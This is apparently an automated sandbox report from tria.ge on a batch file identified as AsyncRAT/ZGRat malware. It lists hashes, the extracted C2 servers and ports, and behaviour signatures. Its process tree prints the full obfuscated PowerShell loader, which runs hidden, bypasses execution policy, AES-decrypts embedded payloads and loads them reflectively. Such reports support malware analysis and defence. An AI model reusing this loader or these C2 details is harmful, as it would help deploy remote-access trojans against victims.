Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    56s
  • max time network
    60s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/05/2024, 00:10

General

  • Target

    AsyncClient.bat

  • Size

    63KB

  • MD5

    dbce32c8a127cd9a7966fe4a47071071

  • SHA1

    f1866b877b463be6df04dace8bccec70e11ce311

  • SHA256

    79d51a6e1d88225fbdf916f4f608ce53e563440df0b23d5f3ccc3aba1f12d7d5

  • SHA512

    e2165665aa1000a133734a760d78e341053ad0dbd5e904d4a58675167839b758423df8b71e206b1648fc44cb48ecd1c97a853cfac5f4b7b3d443d048d77266c6

  • SSDEEP

    1536:rUqEZ9FzJrPZjPIUNcjvJsS/akFhJYCFyCteszYN:rEjPDTWakjpA0+

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

RATED

C2

147.185.221.17:25565

147.185.221.17:37531

147.185.221.17:3389

Mutex

Dudee4vQEqBD

Attributes
  • delay

    3

  • install

    false

  • install_file

    Gang.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 2 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4600
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7vVvuBLNEY/Ww8Yz8DqinX8Dj8QIWa7OX8xGc0CKzoU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jbfc0SmDvLsWPG+T0C1fCA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kxWEZ=New-Object System.IO.MemoryStream(,$param_var); $tVgbr=New-Object System.IO.MemoryStream; $RDVEt=New-Object System.IO.Compression.GZipStream($kxWEZ, [IO.Compression.CompressionMode]::Decompress); $RDVEt.CopyTo($tVgbr); $RDVEt.Dispose(); $kxWEZ.Dispose(); $tVgbr.Dispose(); $tVgbr.ToArray();}function execute_function($param_var,$param2_var){ $OGwTS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OLupP=$OGwTS.EntryPoint; $OLupP.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat';$UNWbP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat').Split([Environment]::NewLine);foreach ($XLLii in $UNWbP) { if ($XLLii.StartsWith(':: ')) { $FSGvM=$XLLii.Substring(3); break; }}$payloads_var=[string[]]$FSGvM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2308
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.porn.com/
        3⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4496
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff84f8e46f8,0x7ff84f8e4708,0x7ff84f8e4718
          4⤵
            PID:1924
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2060 /prefetch:2
            4⤵
              PID:876
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:940
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
              4⤵
                PID:920
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
                4⤵
                  PID:4680
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
                  4⤵
                    PID:2192
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:8
                    4⤵
                      PID:1804
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:8
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1352
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
                      4⤵
                        PID:4084
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:1
                        4⤵
                          PID:4532
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
                          4⤵
                            PID:5212
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,995041218207408797,5677214750204984563,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
                            4⤵
                              PID:5220
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:2300
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:2984

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            fbe1ce4d182aaffb80de94263be1dd35

                            SHA1

                            bc6c9827aa35a136a7d79be9e606ff359e2ac3ea

                            SHA256

                            0021f72dbca789f179762b0e17c28fe0b93a12539b08294800e47469905aeb51

                            SHA512

                            3fb0a3b38e7d4a30f5560594b1d14e6e58419e274255fb68dfe0ca897aa181f9ce8cb2048403f851fd36a17b0e34d272d03927769d41a500b2fe64806354902f

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            2a70f1bd4da893a67660d6432970788d

                            SHA1

                            ddf4047e0d468f56ea0c0d8ff078a86a0bb62873

                            SHA256

                            c550af5ba51f68ac4d18747edc5dea1a655dd212d84bad1e6168ba7a97745561

                            SHA512

                            26b9a365e77df032fc5c461d85d1ba313eafead38827190608c6537ec12b2dfdbed4e1705bfd1e61899034791ad6fa88ea7490c3a48cdaec4d04cd0577b11343

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            5KB

                            MD5

                            bcde2fbe7c8fd5e6860f4ab60d6e89a5

                            SHA1

                            886f951b9f695a15868cba72f7c7e314d3abe89a

                            SHA256

                            6f3428a95ee6dbac1e31fdbe072b335a6b0d8cb3bbbcec542f166ced0ea134fa

                            SHA512

                            b64ab38ddbdda89f4b0e1af856a937550f2c81f86c35b0e22c7661c6e84f8f59167ee6985fb9082b451b9fa2cdb365a4c04f119a3a79e282281b85d701fbf646

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            6KB

                            MD5

                            6ff7c48af009ef2af01ca844c120571e

                            SHA1

                            831efa6ff73450ac09a13bc3b0ec7d51112d9529

                            SHA256

                            2417c0829080096e4a888f96b52c3cfe6a4cc7a956ac484c09f6540b787a4392

                            SHA512

                            f475db3eed79a5fe7d41c0c57a53a319c96c2476adc4db9a73346eaab23bb41ae06ad3823267ec41650bc5b45b9fc53f4cf772e28d7971f56b56e8b1fc9da801

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                            Filesize

                            16B

                            MD5

                            6752a1d65b201c13b62ea44016eb221f

                            SHA1

                            58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                            SHA256

                            0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                            SHA512

                            9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                            Filesize

                            11KB

                            MD5

                            767310f45b2458be0bed34a65f407a99

                            SHA1

                            fca8620828c8cdd2e57ebb1d04a37b188fc52196

                            SHA256

                            8582eb61bccaaa4216e2a9cefff2b0ae0911f883f0d5282b987dca6302a2a5ef

                            SHA512

                            7327f335f392418d95fa07bfb250fc140c99e9b4a7cbf2df85a751222b7f760a1ceabea49b734b496e651f621374c4b5045b9eaabfb8691eb536aa88648cf472

                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gjopsoup.wjk.ps1

                            Filesize

                            60B

                            MD5

                            d17fe0a3f47be24a6453e9ef58c94641

                            SHA1

                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                            SHA256

                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                            SHA512

                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                          • memory/2308-24-0x0000000007660000-0x0000000007672000-memory.dmp

                            Filesize

                            72KB

                          • memory/2308-32-0x00000000084D0000-0x0000000008546000-memory.dmp

                            Filesize

                            472KB

                          • memory/2308-18-0x0000000006480000-0x000000000649E000-memory.dmp

                            Filesize

                            120KB

                          • memory/2308-19-0x0000000006530000-0x000000000657C000-memory.dmp

                            Filesize

                            304KB

                          • memory/2308-20-0x0000000007CD0000-0x000000000834A000-memory.dmp

                            Filesize

                            6.5MB

                          • memory/2308-21-0x0000000006A50000-0x0000000006A6A000-memory.dmp

                            Filesize

                            104KB

                          • memory/2308-22-0x0000000006A80000-0x0000000006A88000-memory.dmp

                            Filesize

                            32KB

                          • memory/2308-23-0x0000000006A90000-0x0000000006A9E000-memory.dmp

                            Filesize

                            56KB

                          • memory/2308-0-0x000000007486E000-0x000000007486F000-memory.dmp

                            Filesize

                            4KB

                          • memory/2308-27-0x00000000079D0000-0x0000000007A6C000-memory.dmp

                            Filesize

                            624KB

                          • memory/2308-28-0x0000000008900000-0x0000000008EA4000-memory.dmp

                            Filesize

                            5.6MB

                          • memory/2308-30-0x000000007486E000-0x000000007486F000-memory.dmp

                            Filesize

                            4KB

                          • memory/2308-31-0x0000000074860000-0x0000000075010000-memory.dmp

                            Filesize

                            7.7MB

                          • memory/2308-17-0x0000000005FB0000-0x0000000006304000-memory.dmp

                            Filesize

                            3.3MB

                          • memory/2308-33-0x0000000008450000-0x00000000084B4000-memory.dmp

                            Filesize

                            400KB

                          • memory/2308-34-0x0000000008580000-0x000000000859E000-memory.dmp

                            Filesize

                            120KB

                          • memory/2308-35-0x0000000074860000-0x0000000075010000-memory.dmp

                            Filesize

                            7.7MB

                          • memory/2308-36-0x0000000005700000-0x0000000005764000-memory.dmp

                            Filesize

                            400KB

                          • memory/2308-7-0x0000000005F40000-0x0000000005FA6000-memory.dmp

                            Filesize

                            408KB

                          • memory/2308-6-0x0000000005ED0000-0x0000000005F36000-memory.dmp

                            Filesize

                            408KB

                          • memory/2308-5-0x00000000055D0000-0x00000000055F2000-memory.dmp

                            Filesize

                            136KB

                          • memory/2308-4-0x0000000074860000-0x0000000075010000-memory.dmp

                            Filesize

                            7.7MB

                          • memory/2308-3-0x0000000074860000-0x0000000075010000-memory.dmp

                            Filesize

                            7.7MB

                          • memory/2308-2-0x00000000058A0000-0x0000000005EC8000-memory.dmp

                            Filesize

                            6.2MB

                          • memory/2308-1-0x0000000002FC0000-0x0000000002FF6000-memory.dmp

                            Filesize

                            216KB